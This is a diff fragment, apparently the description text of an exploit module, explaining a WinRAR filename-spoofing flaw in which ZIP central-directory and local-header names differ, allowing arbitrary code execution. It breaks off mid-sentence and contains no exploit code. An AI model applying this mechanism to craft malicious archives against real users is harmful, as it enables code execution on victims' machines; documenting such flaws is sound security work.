+        This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
+        when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
+        the central directory, but the file names used to extract and open contents come from the
+        Local File Header. This inconsistency allows to spoof file names when opening ZIP files
+        with WiRAR, which can be abused to execute arbitrary code, like exploited in the wild in
